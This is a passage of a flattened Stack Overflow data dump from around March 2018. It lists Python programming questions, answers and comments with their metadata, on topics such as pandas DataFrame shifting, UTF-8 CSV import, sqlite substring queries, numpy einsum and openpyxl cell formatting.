'volume_24h'), ('t_2', 'time_diff'), ('t_2', 'buy'), ('t_2', 'sell'), ('t_1', 'price'), ('t_1', 'spread'), ('t_1', 'volume_24h'), ('t_1', 'time_diff'), ('t_1', 'buy'), ('t_1', 'sell'), ('t_0', 'target')] df = pandas.DataFrame(vals, index=idx, columns=pandas.MultiIndex.from_tuples(cols)) df['t_0']['target'] = df['t_0']['target'].shift(-1) df.head() Returns the exact same dataframe, and the shifting never happens. I've been scratching my head over this for quite some time without being able ton figure it out. Am I missing something completely obvious?
tagged with: pandas
downvote count: 0
favorite count: 0
type: Question

http://stackoverflow.com/comment/86196463
type: QuestionComment
comment on: http://stackoverflow.com/q/49594431
type: Comment
has text: yes, that is my problem, I'm not sure how to update it directly
score: 0

http://stackoverflow.com/comment/86155591
comment on: http://stackoverflow.com/q/49574020
type: Comment
type: QuestionComment
has text: check calling method name push_sns_message.s added extra .s
score: 0

http://stackoverflow.com/q/49518039
tagged with: pandas
has body: I am trying to evaluate whether there is any elements in an object (series in the following example). I used any and I couldn't understand it's behavior. I am wondering why len(s)&gt;=1 returns True while any(s) return False? import pandas as pd import numpy as np data = np.array([0]) s = pd.Series(data) print(s) print(len(s)) print(len(s)&gt;=1) print(any(s))
has title: Difference between any and length more than/equal to 1
tagged with: python
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86042171
has comment: http://stackoverflow.com/comment/86042370
answer count: 1
has comment: http://stackoverflow.com/comment/86041951
upvote count: 1
downvote count: 1
accepted answer: http://stackoverflow.com/a/49518087
has comment: http://stackoverflow.com/comment/86041546
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49518087

jupyter-notebook
tags question: http://stackoverflow.com/q/49555915
tags question: http://stackoverflow.com/q/49549248
tags question: http://stackoverflow.com/q/49569016
tags question: http://stackoverflow.com/q/49459373
tags question: http://stackoverflow.com/q/49446624
tags question: http://stackoverflow.com/q/49545409
tags question: http://stackoverflow.com/q/49592305
tags question: http://stackoverflow.com/q/49545587
tags question: http://stackoverflow.com/q/49541927
tags question: http://stackoverflow.com/q/49598925
tags question: http://stackoverflow.com/q/49562473
tags question: http://stackoverflow.com/q/49568183
tags question: http://stackoverflow.com/q/49524981
tags question: http://stackoverflow.com/q/49541629
tags question: http://stackoverflow.com/q/49458884
tags question: http://stackoverflow.com/q/49561767
tags question: http://stackoverflow.com/q/49448315
tags question: http://stackoverflow.com/q/49529525
tags question: http://stackoverflow.com/q/49519913
tags question: http://stackoverflow.com/q/49582410
tags question: http://stackoverflow.com/q/49488497
tags question: http://stackoverflow.com/q/49460130
tags question: http://stackoverflow.com/q/49467306
tags question: http://stackoverflow.com/q/49496798
tags question: http://stackoverflow.com/q/49566474
tags question: http://stackoverflow.com/q/49568625
tags question: http://stackoverflow.com/q/49499952
tags question: http://stackoverflow.com/q/49543860
tags question: http://stackoverflow.com/q/49546181
tags question: http://stackoverflow.com/q/49568038
tags question: http://stackoverflow.com/q/49461607
tags question: http://stackoverflow.com/q/49515085
tag name: jupyter-notebook
tags question: http://stackoverflow.com/q/49535664
tags question: http://stackoverflow.com/q/49503892
tags question: http://stackoverflow.com/q/49497314
tags question: http://stackoverflow.com/q/49498106
tags question: http://stackoverflow.com/q/49541162
tags question: http://stackoverflow.com/q/49519648
tags question: http://stackoverflow.com/q/49490713
type: Tag
tags question: http://stackoverflow.com/q/49545003
tags question: http://stackoverflow.com/q/49547540
tags question: http://stackoverflow.com/q/49500495
tags question: http://stackoverflow.com/q/49470802
tags question: http://stackoverflow.com/q/49446284
tags question: http://stackoverflow.com/q/49506821
tags question: http://stackoverflow.com/q/49486699
tags question: http://stackoverflow.com/q/49471154
tags question: http://stackoverflow.com/q/49457012
tags question: http://stackoverflow.com/q/49536913
tags question: http://stackoverflow.com/q/49524626
tags question: http://stackoverflow.com/q/49576657
tags question: http://stackoverflow.com/q/49532838

http://stackoverflow.com/q/49546743
has comment: http://stackoverflow.com/comment/86101089
has comment: http://stackoverflow.com/comment/86109224
has body: I have been trying to import a csv file containing special characters (ä ö ü) in python 2.x all special characters where automatically encoded without need of specifying econding attribute in the open command. I can´t figure out how to get this to work in python 3.x import csv f = open('sample_1.csv', 'rU', encoding='utf-8') csv_f = csv.reader(f, delimiter=';') bla = list(csv_f) print(type(bla)) print(bla[0]) print(bla[1]) print(bla[2]) print() print(bla[3]) Console output (Sublime Build python3) &lt;class 'list'&gt; ['\ufeffCat1', 'SEO Meta Text'] ['Damen', 'Damen----'] ['Damen', 'Damen-Accessoires-Beauty-Geschenk-Sets-'] Traceback (most recent call last): File "/Users/xxx/importer_tree.py", line 13, in &lt;module&gt; print(bla[3]) UnicodeEncodeError: 'ascii' codec can't encode character '\xf6' in position 37: ordinal not in range(128) input sample_1.csv (excel file saved as utf-8 csv) Cat1;SEO Meta Text Damen;Damen---- Damen;Damen-Accessoires-Beauty-Geschenk-Sets- Damen;Damen-Accessoires-Beauty-Körperpflege- Männer;Männer-Sport-Sportschuhe-Trekkingsandalen- Männer;Männer-Sport-Sportschuhe-Wanderschuhe- Männer;Männer-Sport-Sportschuhe-- is this only an output format issue or am I also importing the data wrongly? how can I print out "Männer"? thank you for your help/guidance!
linked to: http://stackoverflow.com/q/39576308
has comment: http://stackoverflow.com/comment/86108277
tagged with: python
score: -1
tagged with: utf-8
has comment: http://stackoverflow.com/comment/86100950
type: Question
tagged with: encoding
upvote count: 0
accepted answer: http://stackoverflow.com/a/49552242
tagged with: import-csv
answer count: 1
has title: import utf-8 csv in python3.x - special german characters
has comment: http://stackoverflow.com/comment/86110070
has answer: http://stackoverflow.com/a/49552242
downvote count: 1
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/q/49560494
type: Question
has title: Login a Website and Web Scraping using python
tagged with: python
upvote count: 2
type: AnsweredQuestion
has body: I am trying to figure out ways to web scraping a real estate website https://www.brickz.my/ for my research project. I have been trying between selenium and beautiful soup and decide to choose beautiful soup was the best way for me since the structure of url for each real estate allow my code to navigate the website easily and faster I am trying to build a database transaction for each real estate'. Without login, only 10 latest transactions will be displayed for a particular property. By login, I can access to the whole transaction for a particular type of property. here is the example without login, i can only access 10 transaction for each property After login, i can access to more than 10 transaction plus previously obscure property address i try to login using request in python, yet it keep bringing me to the page without login and end up, i just manage to scrap the 10 latest transaction instead of whole transaction. here is the example of my login code in python import requests from bs4 import BeautifulSoup page = requests.get("https://www.brickz.my/login/", auth= ('email', 'password')) headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; SM-G928X Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36'} soup = BeautifulSoup(page.content, 'html.parser') #I put one of the property url to be scrapped inside response response = get("https://www.brickz.my/transactions/residential/kuala- lumpur/titiwangsa/titiwangsa-sentral-condo/non-landed/?range=2012+Oct-", headers = headers) Here is what I used to scrape the table table = BeautifulSoup(response.text, 'html.parser') table_rows = table.find_all('tr') names = [] for tr in table_rows: td = tr.find_all('td') row = [i.text for i in td] names.append(row) How am I able to successfully login and get access to the whole transaction? I heard about Mechanize library but it is not available for python 3. I am sorry if my question is not clear, this is my first time posting, and i…
accepted answer: http://stackoverflow.com/a/49562993
answer count: 2
possible better answer: http://stackoverflow.com/a/49560636
tagged with: web-scraping
has answer: http://stackoverflow.com/a/49562993
score: 1
has answer: http://stackoverflow.com/a/49560636
downvote count: 1
favorite count: 0
tagged with: beautifulsoup

http://stackoverflow.com/q/49572891
tagged with: string
favorite count: 0
type: Question
tagged with: python-3.x
has body: I am looking to have a standard python function where if it doesn't see the title/value then it just skips that and prints the rest. In other words, let's suppose I have three values Job , Dept and Designation, and if the Job is missing then skip that and print the other two. Is there a way in python or python3 to do the job? Here's an example: &gt;&gt;&gt; print("Job: %s\nDept: %s\nDesignation: %s" %('cad', 'tl', 'it')) Job: cad Dept: tl Designation: it
upvote count: 2
has comment: http://stackoverflow.com/comment/86153874
tagged with: python
accepted answer: http://stackoverflow.com/a/49573006
score: 2
has comment: http://stackoverflow.com/comment/86154049
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49573006
downvote count: 0
answer count: 1
has title: Adapt print function formatting to skip missing values
has comment: http://stackoverflow.com/comment/86153423
has comment: http://stackoverflow.com/comment/86153336

http://stackoverflow.com/comment/86170004
comment on: http://stackoverflow.com/q/49580546
has text: Try removing `C:\Python27\ArcGIS10.4\lib\site-packages\numpy*` (note the wildcard, there might be another directory like `numpy-1.9.2.dist-info`) manually and then reinstall numpy (from within ArcGIS).
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49478683
tagged with: http
type: Question
tagged with: http-headers
tagged with: python
tagged with: flask
linked to: http://stackoverflow.com/q/38534765
type: AnsweredQuestion
has body: I'm having problem on a particular device (iPhone SE, iOS 9.3.5). Reading this other SO post, it seems that safari thinks that the web server is using HTTP/0.9, and the issue can be solved by including the HTTP version in the response. I'm using templates, if that matters. I've tried this: @downloader.route('/') def home(): return render_template('home.html', name=get_guest_name()), "HTTP/1.1 200 OK", {"Content-Type": "text/html"} But this does not seem to work. Desktop browsers and other mobile devices work just fine.
score: 0
has title: Forcing Flask to return HTTP version in response
answer count: 1
has answer: http://stackoverflow.com/a/49495303
accepted answer: http://stackoverflow.com/a/49495303

http://stackoverflow.com/q/49554622
tagged with: python
tagged with: python-3.x
type: UnansweredQuestion
downvote count: 0
upvote count: 7
has comment: http://stackoverflow.com/comment/86129246
has answer: http://stackoverflow.com/a/53821308
favorite count: 0
has answer: http://stackoverflow.com/a/61313324
type: Question
has answer: http://stackoverflow.com/a/50449051
has title: Not able to install pandas using pip
has comment: http://stackoverflow.com/comment/86116575
tagged with: pandas
answer count: 5
has comment: http://stackoverflow.com/comment/86116549
has answer: http://stackoverflow.com/a/50525308
score: 7
has answer: http://stackoverflow.com/a/60877119
has body: While installing pandas using pip, I'm getting error. Can someone please help me out with fixing this issue. I'm using python 3.4 on windows10. set build\lib.win-amd64-3.4\pandas/_version.py to '0.22.0' running build_ext building 'pandas._libs.hashing' extension Traceback (most recent call last): File "&lt;string&gt;", line 1, in &lt;module&gt; File "C:\Users\sthakur1\AppData\Local\Temp\pip-build-2lweg8a9\pandas\setup.py", line 743, in &lt;module&gt; **setuptools_kwargs) File "C:\Python34\lib\distutils\core.py", line 148, in setup dist.run_commands() File "C:\Python34\lib\distutils\dist.py", line 955, in run_commands self.run_command(cmd) File "C:\Python34\lib\distutils\dist.py", line 974, in run_command cmd_obj.run() File "C:\Python34\lib\site-packages\setuptools\command\install.py", line 61, in run return orig.install.run(self) File "C:\Python34\lib\distutils\command\install.py", line 539, in run self.run_command('build') File "C:\Python34\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "C:\Python34\lib\distutils\dist.py", line 974, in run_command cmd_obj.run() File "C:\Python34\lib\distutils\command\build.py", line 126, in run self.run_command(cmd_name) File "C:\Python34\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "C:\Python34\lib\distutils\dist.py", line 974, in run_command cmd_obj.run() File "C:\Python34\lib\distutils\command\build_ext.py", line 339, in run self.build_extensions() File "C:\Users\sthakur1\AppData\Local\Temp\pip-build-2lweg8a9\pandas\setup.py", line 385, in build_extensions build_ext.build_extensions(self) File "C:\Users\sthakur1\AppData\Local\Temp\pip-build-2lweg8a9\pandas\setup.py", line 161, in build_extensions _build_ext.build_extensions(self) File "C:\Python34\lib\distutils\command\build_ext.py", line 448, in build_extensions self.build_extension(ext) File "C:\Python34\lib\distutils\command\build_ext.py", line 503, in build_extension depends=ext.depen…

http://stackoverflow.com/q/49523140
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86056569
has title: Spectral norm 2x2 matrix in tensorflow
has body: I've got a 2x2 matrix defined by the variables J00, J01, J10, J11 coming in from other inputs. Since the matrix is small, I was able to compute the spectral norm by first computing the trace and determinant J_T = tf.reduce_sum([J00, J11]) J_ad = tf.reduce_prod([J00, J11]) J_cb = tf.reduce_prod([J01, J10]) J_det = tf.reduce_sum([J_ad, -J_cb]) and then solving the quadratic L1 = J_T/2.0 + tf.sqrt(J_T**2/4.0 - J_det) L2 = J_T/2.0 - tf.sqrt(J_T**2/4.0 - J_det) spectral_norm = tf.maximum(L1, L2) This works, but it looks rather ugly and it isn't generalizable to larger matrices. Is there cleaner way (maybe a method call that I'm missing) to compute spectral_norm?
has comment: http://stackoverflow.com/comment/86053524
tagged with: python
linked to: http://stackoverflow.com/q/12116830
has answer: http://stackoverflow.com/a/49526268
score: 2
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86058192
downvote count: 0
tagged with: matrix
answer count: 1
has comment: http://stackoverflow.com/comment/86058176
accepted answer: http://stackoverflow.com/a/49526268

http://stackoverflow.com/comment/86104898
has text: try https://bitbucket.org/product/pricing?tab=host-in-the-cloud. i believe they offer free private repos
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49548852
score: 2

http://stackoverflow.com/a/49577356
answers question: http://stackoverflow.com/q/49574805
type: Answer
has body: Use a regular array constructor. In [167]: z=[1,2] In [168]: arr = np.array([[ 1,z[0], 2], [3, 4, z[1]]]) In [169]: arr Out[169]: array([[1, 1, 2], [3, 4, 2]]) The mat('1 2; 3 4') form is supposed to help MATLAB users adjust to numpy. It isn't meant for complex entries. The string parser in this expression cannot handle variables and expressions. np.matrix use is discouraged, because it adds complications in many cases. It will remain in numpy for a long time, but unless you really need some special feature, don't use it. That said, a new feature in the base Python string formatting makes this kind of expression easier: In [171]: np.matrix(f'1,{z[0]},2;3,4,{z[1]}') Out[171]: matrix([[1, 1, 2], [3, 4, 2]]) The new f'' string can handle variable and expression substitution: In [172]: f'1,{z[0]},2;3,4,{z[1]}' Out[172]: '1,1,2;3,4,2' In [175]: np.matrix(f'1,{z[0]},2;3,4,{sum(z)}') Out[175]: matrix([[1, 1, 2], [3, 4, 3]])
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49441238
has body: I know how to use the LIKE clause to extract rows that have a column that contains a hard-coded substring: SELECT * FROM userTable WHERE UPPER(column) LIKE UPPER('%this_is_a_hard_coded_string%') But I can't figure out how to use a variable for the substring instead of a hardcoded substring. Usually, when I make an sqlite3 query with python3, I can set a value equal to a ? and then add an extra argument to the execute method on the cursor; however, that does not seem to work here.
has comment: http://stackoverflow.com/comment/85884454
accepted answer: http://stackoverflow.com/a/49441451
has comment: http://stackoverflow.com/comment/85884716
tagged with: sqlite
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/85884685
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85884523
upvote count: 2
has title: How do you SELECT all rows of an sqlite3 database that have a column that contains a certain variable substring?
has comment: http://stackoverflow.com/comment/85884464
has answer: http://stackoverflow.com/a/49441451
has comment: http://stackoverflow.com/comment/85884569
has comment: http://stackoverflow.com/comment/85884428
tagged with: python
linked to: http://stackoverflow.com/q/3105249
has comment: http://stackoverflow.com/comment/85884576
linked to: http://stackoverflow.com/q/1005552
type: AnsweredQuestion
score: 2

http://stackoverflow.com/a/49538729
upvote count: 1
has comment: http://stackoverflow.com/comment/86085660
has comment: http://stackoverflow.com/comment/86085425
answers question: http://stackoverflow.com/q/49538531
has body: Raw strings are just strings. The paths can be used the same way, as long as they have the right characters in them. &gt;&gt;&gt; raw_strings = [r'Paths', r'C:\Program Files\Something'] &gt;&gt;&gt; non_raw_strings = ['Paths', 'C:\\Program Files\\Something'] &gt;&gt;&gt; raw_strings == non_raw_strings True &gt;&gt;&gt; raw_strings[1] 'C:\\Program Files\\Something' &gt;&gt;&gt; print(raw_strings[1]) C:\Program Files\Something However, if you double the backslashes and use a raw string, you get a different string: &gt;&gt;&gt; r'C:\Program Files\Something' == r'C:\\Program Files\\Something' False Part of what may be confusing you is that printing a list object will use repr to format the items in a list, and the interactive Python prompt will also use repr to format strings. This means that a string that contains a single backslash may look like it contains two backslashes. But don't be fooled: &gt;&gt;&gt; one_backslash_char = '\\' &gt;&gt;&gt; len(one_backslash_char) 1 &gt;&gt;&gt; one_backslash_char '\\' &gt;&gt;&gt; print(one_backslash_char) \ &gt;&gt;&gt; list_containing_string = [one_backslash_char] &gt;&gt;&gt; print(list_containing_string) ['\\'] &gt;&gt;&gt; list_containing_string[0] '\\' &gt;&gt;&gt; print(list_containing_string[0]) \ If your goal is to use the string with a regular expression, and you want to turn characters that are meaningful for regex syntax (e.g. \) into a form that will regex match the corresponding literal (e.g. you have \, you want to match \, so the string needs to contain \\), then the function you want is re.escape(string) which does exactly this.
score: 1
has comment: http://stackoverflow.com/comment/86087330
has comment: http://stackoverflow.com/comment/86085476
has comment: http://stackoverflow.com/comment/86085074
has comment: http://stackoverflow.com/comment/86085994
downvote count: 0
type: Answer

http://stackoverflow.com/q/49525545
has body: i am trying to set cell format to display 2 decimals, i need it to show 2 decimals, somehow when i use different office application to open, it gives mixed results, i am new to openpyxl (using latest 2.5.1), i have go through the documentation, setting the format seems pretty straight forward what i have done for setting format is:- ws.column_dimensions['F'].number_format = '#,##0.00' ws.column_dimensions['G'].number_format = '#,##0.00' not too sure am i miss out any? For the attached image, it shows Open Office and Libre Office able to show the two decimals i needed, somehow WPS and MS Excel unable to show two decimals, a quick check on all the above format cell (through right click on that cell), Open Office and Libre Office is in Number format, somehow WPS and MS Excel is in General format note: i have tried setting more decimals, e.g.: 3 decimals or more, still Open Office and Libre showing the specified decimals without problem, but WPS and MS Excel dont
has answer: http://stackoverflow.com/a/49526938
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/56197901
has title: openpyxl formatting cell with decimal
has answer: http://stackoverflow.com/a/57002581
tagged with: python-2.7
answer count: 3
tagged with: openpyxl
score: 6
upvote count: 7
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/49499380
answers question: http://stackoverflow.com/q/49497671
has body: My understanding of the question is you want the number of locations reachable per origin, using the given budget for the trip. So, kind of like the number of other destinations you can reach using the same price. We can do this by grouping the data by origin, then ranking the budgets - using the method = 'max' we take the maximum ranking during ties: x.groupby('OriginID').apply(lambda x: x.Budget.rank(method = 'max'))
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86106811
type: QuestionComment
score: 0
has text: this is a method under jellyfish to compare string similarity, that gives the number for current_score.
comment on: http://stackoverflow.com/q/49549792
type: Comment

http://stackoverflow.com/a/49596894
has comment: http://stackoverflow.com/comment/86201071
answers question: http://stackoverflow.com/q/49596458
score: 1
has comment: http://stackoverflow.com/comment/86201144
type: Answer
accepted answer of: http://stackoverflow.com/q/49596458
has comment: http://stackoverflow.com/comment/86201113
has body: Reading the docs I think np.sign is used for a breakpoint and not a range as you want in this case. df.apply accepts a function (lambda or def) and you should also send the axis param (0 for col, 1 for row): import pandas as pd df = pd.DataFrame({'d1': {'2000-01-03': -0.08432100000000001, '2000-01-04': 0.014641999999999999, '2000-01-05': -0.08653, '2000-01-06': 0.047363999999999996, '2000-01-07': -0.017588}, 'd2': {'2000-01-03': -0.070914, '2000-01-04': -0.073155, '2000-01-05': -0.043265, '2000-01-06': 0.028943, '2000-01-07': -0.017847}, 'd3': {'2000-01-03': -0.151308, '2000-01-04': -0.029257, '2000-01-05': -0.06009199999999999, '2000-01-06': -0.023697, '2000-01-07': -0.002495}, 'd4': {'2000-01-03': -0.11111099999999999, '2000-01-04': -0.04633, '2000-01-05': -0.108177, '2000-01-06': -0.080934, '2000-01-07': -0.025129}, 'd5': {'2000-01-03': -0.126745, '2000-01-04': -0.095118, '2000-01-05': -0.160461, '2000-01-06': 0.021044, '2000-01-07': 0.009427}, 'd6': {'2000-01-03': -0.17141900000000002, '2000-01-04': -0.148168, '2000-01-05': -0.067307, '2000-01-06': 0.057237, '2000-01-07': 0.009427}}) Code: def ret_Signal(x): for i in x: if i &gt; 0.05: return 1 elif i &lt; -0.05: return -1 return 0 df.apply(ret_Signal, axis = 1) Which returns: 2000-01-03 -1 2000-01-04 -1 2000-01-05 -1 2000-01-06 -1 2000-01-07 0
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/49479978
has body: One option is to use np.einsum: np.einsum('ijk,jl-&gt;ilk', A, B) Or transpose A twice: (A.transpose(2,0,1) @ B).transpose(1,2,0) Example: &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; A = np.arange(12).reshape(2,2,3) &gt;&gt;&gt; B = np.arange(4).reshape(2,2) &gt;&gt;&gt; AB = np.zeros_like(A) &gt;&gt;&gt; M = 3 &gt;&gt;&gt; for m in range(M): ... AB[:,:,m]=A[:,:,m] @ B ... &gt;&gt;&gt; AB array([[[ 6, 8, 10], [ 9, 13, 17]], [[18, 20, 22], [33, 37, 41]]]) # einsum &gt;&gt;&gt; np.einsum('ijk,jl-&gt;ilk', A, B) array([[[ 6, 8, 10], [ 9, 13, 17]], [[18, 20, 22], [33, 37, 41]]]) # tranpose &gt;&gt;&gt; (A.transpose(2,0,1) @ B).transpose(1,2,0) array([[[ 6, 8, 10], [ 9, 13, 17]], [[18, 20, 22], [33, 37, 41]]])
upvote count: 3
answers question: http://stackoverflow.com/q/49479897
downvote count: 0
score: 3
type: Answer

http://stackoverflow.com/comment/86104131
comment on: http://stackoverflow.com/q/49548040
type: QuestionComment
has text: @JohnLexus I have left the last step as an exercise . However feel free for any queries.
score: 0
type: Comment

http://stackoverflow.com/q/49506635
downvote count: 4
tagged with: image-processing
tagged with: machine-learning
upvote count: 1
has title: Tracking using Masks as input
has comment: http://stackoverflow.com/comment/86065198
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/32894542
tagged with: opencv
has comment: http://stackoverflow.com/comment/86066600
has answer: http://stackoverflow.com/a/49579891
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/17538366
score: -3
tagged with: python
has body: I am currently using a CNN based object detection module which gives me objects which I then use as input for tracking using OpenCV. The object detection module produced rectangles until now but I want to shift to a segmentation module like Mask-RCNN which outputs masks along with rectangles for each object. Masks are a more accurate representation of an object. All the trackers in OpenCV take rectangles as input. Is there any way to use the masks for tracking an object rather than the boxes. I can convert the masks to contours if that will help me track the object.
has answer: http://stackoverflow.com/a/49552240
has comment: http://stackoverflow.com/comment/86017453
answer count: 2

http://stackoverflow.com/a/49505341
has comment: http://stackoverflow.com/comment/86014978
has body: I think you can use set_levels with parameter level=1 and for values use get_level_values: mux = pd.MultiIndex.from_product([['NAVER'], ['2018-11-28','2018-12-01','2018-12-02']], names=['Ticker', 'date']) df = pd.DataFrame({'open':[1,2,3]}, index=mux) df.index = df.index.set_levels(pd.to_datetime(df.index.get_level_values(1)), level=1) print(df) open Ticker date NAVER 2018-11-28 1 2018-12-01 2 2018-12-02 3 print(df.index.get_level_values(1)) DatetimeIndex(['2018-11-28', '2018-12-01', '2018-12-02'], dtype='datetime64[ns]', name='date', freq=None)
type: Answer
accepted answer of: http://stackoverflow.com/q/49505297
answers question: http://stackoverflow.com/q/49505297
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/49471004
has comment: http://stackoverflow.com/comment/85944611
has comment: http://stackoverflow.com/comment/85944671
possible better answer: http://stackoverflow.com/a/49471100
upvote count: 4
has answer: http://stackoverflow.com/a/49471100
answer count: 2
tagged with: time
downvote count: 0
has comment: http://stackoverflow.com/comment/85944687
has comment: http://stackoverflow.com/comment/85944656
has comment: http://stackoverflow.com/comment/85944643
has title: Python Format Ctime Method
score: 4
favorite count: 0
type: Question
type: AnsweredQuestion
has body: I am trying to get a the modified date of a file using os.path.getmtime() and to convert time into human readable format; it is advised to use time.ctime() method but it gives the name of the date and month too, which I do not want. Is it possible to format %d %m %Y, %H:%M? Currently I have code like: import os.path, time path = #path of the file print time.ctime(os.path.getmtime(path))
accepted answer: http://stackoverflow.com/a/49471077
tagged with: python
has answer: http://stackoverflow.com/a/49471077
tagged with: date

http://stackoverflow.com/comment/86003965
has text: So to be clear if col3 was {col3: eee, rrr, ere} it would return 2?
score: 1
comment on: http://stackoverflow.com/q/49499947
type: QuestionComment
type: Comment

http://stackoverflow.com/a/49500867
has comment: http://stackoverflow.com/comment/86015963
has comment: http://stackoverflow.com/comment/86078543
has comment: http://stackoverflow.com/comment/86006423
has comment: http://stackoverflow.com/comment/86027493
type: Answer
has comment: http://stackoverflow.com/comment/86007998
has comment: http://stackoverflow.com/comment/86078837
has comment: http://stackoverflow.com/comment/86084662
accepted answer of: http://stackoverflow.com/q/49500173
has comment: http://stackoverflow.com/comment/86040844
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86010991
has comment: http://stackoverflow.com/comment/86027867
answers question: http://stackoverflow.com/q/49500173
has body: Assuming two lists like: main = [(123, xxxxxxx),...] unique = [123, ...] Then you can do something like: from random import shuffle shuffle(main) out = [] for u in unique: i = 0 it = (x for x in main if x[0] == u) while i &lt; 5: try: out.append(main.pop(main.index(next(it)))) except: pass i+=1 out will contain a list of tuples like those found in main, up to 5 per unique area code (will be less than 5, if main contains less than 5), randomly distributed. UPDATE Since you want to exclude area codes with too little representation all together, here's how you do that: from random import shuffle from collections import Counter c = Counter(x[0] for x in main) main = [x for x in main if c[x] &gt;= 5] shuffle(main) out = [] for u in unique: i = 0 it = (x for x in main if x[0] == u) while i &lt; 5: out.append(main.pop(main.index(next(it)))) i+=1
has comment: http://stackoverflow.com/comment/86041009

http://stackoverflow.com/q/49447287
tagged with: google-deployment-manager
has comment: http://stackoverflow.com/comment/86282669
favorite count: 0
type: Question
score: 3
has answer: http://stackoverflow.com/a/49781298
has title: Deployment manager: Not able to expose output through python template
tagged with: python
has body: I've created a deployment manager template in python which generates the resource names at runtime so as to create multiple deployments with the same template on google cloud platform. I need to expose external IP address of web server through output after successful deployment. I've added following in my python template: def GenerateConfig(context): outputs = [] resources = [ { } ] outputs.append({'name': name, 'value': value}) return {'resources': resources, 'outputs': outputs} The problem is, the output is not getting displayed on the console, however, I can see it in the deployment layout.
answer count: 2
upvote count: 3
has answer: http://stackoverflow.com/a/52555046
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/86095228
has text: Seem to be getting an error now. line 71, in <module> maze = str(maze) //// line 29, in __repr__ return "\n".join("".join(row) for row in self.maze) line 29, in <genexpr> //// return "\n".join("".join(row) for row in self.maze) //// TypeError: sequence item 3: expected str instance, int found Edit: added //// to split the errors
type: Comment
comment on: http://stackoverflow.com/a/49543185
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86106009
comment on: http://stackoverflow.com/q/49549248
type: QuestionComment
has text: @kaveh I am using Ubuntu 17.10 and I already installed libsqlite3-dev.
score: 0
type: Comment

http://stackoverflow.com/comment/86134501
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49563104
score: 0
has text: yes i did. But am trying to understand how to implement a method for this statement numbers += 15

http://stackoverflow.com/q/49583500
has answer: http://stackoverflow.com/a/49588817
accepted answer: http://stackoverflow.com/a/49588817
score: 10
has title: How to add an indicator column for concat in pandas?
tagged with: python
tagged with: merge
type: AnsweredQuestion
has body: With merge() there is an indicator parameter so you can identify from which df you the original data is found. I don't see a similar function withconcat(). pd.merge(left=df1, right=df2, indicator=True) Is there a way to create an indicator column with concat()?
tagged with: concatenation
tagged with: pandas
downvote count: 0
has answer: http://stackoverflow.com/a/54186023
upvote count: 10
has comment: http://stackoverflow.com/comment/86175196
favorite count: 0
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/54186023
has comment: http://stackoverflow.com/comment/86175133

http://stackoverflow.com/comment/85982704
score: 0
has text: No it does not fail. Check out the link mentioned in my comment, read that question and answers carefully. If you still face problem then comment.
type: QuestionComment
comment on: http://stackoverflow.com/q/49489871
type: Comment

http://stackoverflow.com/q/49594077
favorite count: 0
type: Question
has title: Basic Sudoku checker
has comment: http://stackoverflow.com/comment/86195643
has body: I am creating a basic sudoku checker with the help of Python. However, the result is always displayed as 'False'. The code is as follows: list = [[1,2,3,4], [2,4,1,3], [3,1,4,2], [4,3,2,1]] def sudoku_check(list): n = len(list) digit = 1 while digit &lt;= n: row_count = 0 col_count = 0 v = 0 while v &lt; n: x = 0 while x &lt; n: print ("Check") if digit == list[v][x]: row_count = row_count + 1 if digit == list[x][v]: col_count = col_count + 1 x = x + 1 v = v + 1 if col_count != 1 or row_count != 1: return False digit = digit + 1 return True print (sudoku_check(list)) I am new to programming. Would appreciate your help on this. Thanks
has comment: http://stackoverflow.com/comment/86195646
has answer: http://stackoverflow.com/a/76444297
has comment: http://stackoverflow.com/comment/86195893
has comment: http://stackoverflow.com/comment/86196073
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86195716
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/75745052
possible better answer: http://stackoverflow.com/a/75745052
has comment: http://stackoverflow.com/comment/86195630
answer count: 3
has comment: http://stackoverflow.com/comment/86196030
downvote count: 2
has comment: http://stackoverflow.com/comment/86196027
upvote count: 1
has answer: http://stackoverflow.com/a/49594463
accepted answer: http://stackoverflow.com/a/49594463
linked to: http://stackoverflow.com/q/4040304

http://stackoverflow.com/comment/86048142
type: QuestionComment
has text: How have you verified that you don't create a pool?
score: 1
type: Comment
comment on: http://stackoverflow.com/q/49521085

http://stackoverflow.com/a/49549991
answers question: http://stackoverflow.com/q/49531291
has comment: http://stackoverflow.com/comment/86117300
has comment: http://stackoverflow.com/comment/86117147
type: Answer
has comment: http://stackoverflow.com/comment/86117187
has comment: http://stackoverflow.com/comment/86117490
has comment: http://stackoverflow.com/comment/86117351
has comment: http://stackoverflow.com/comment/86221672
has comment: http://stackoverflow.com/comment/86117258
score: 0
has body: Bind your action with your custom view. tree act_window_id :- your action id view_id :- view id This is an example.
has comment: http://stackoverflow.com/comment/86116626
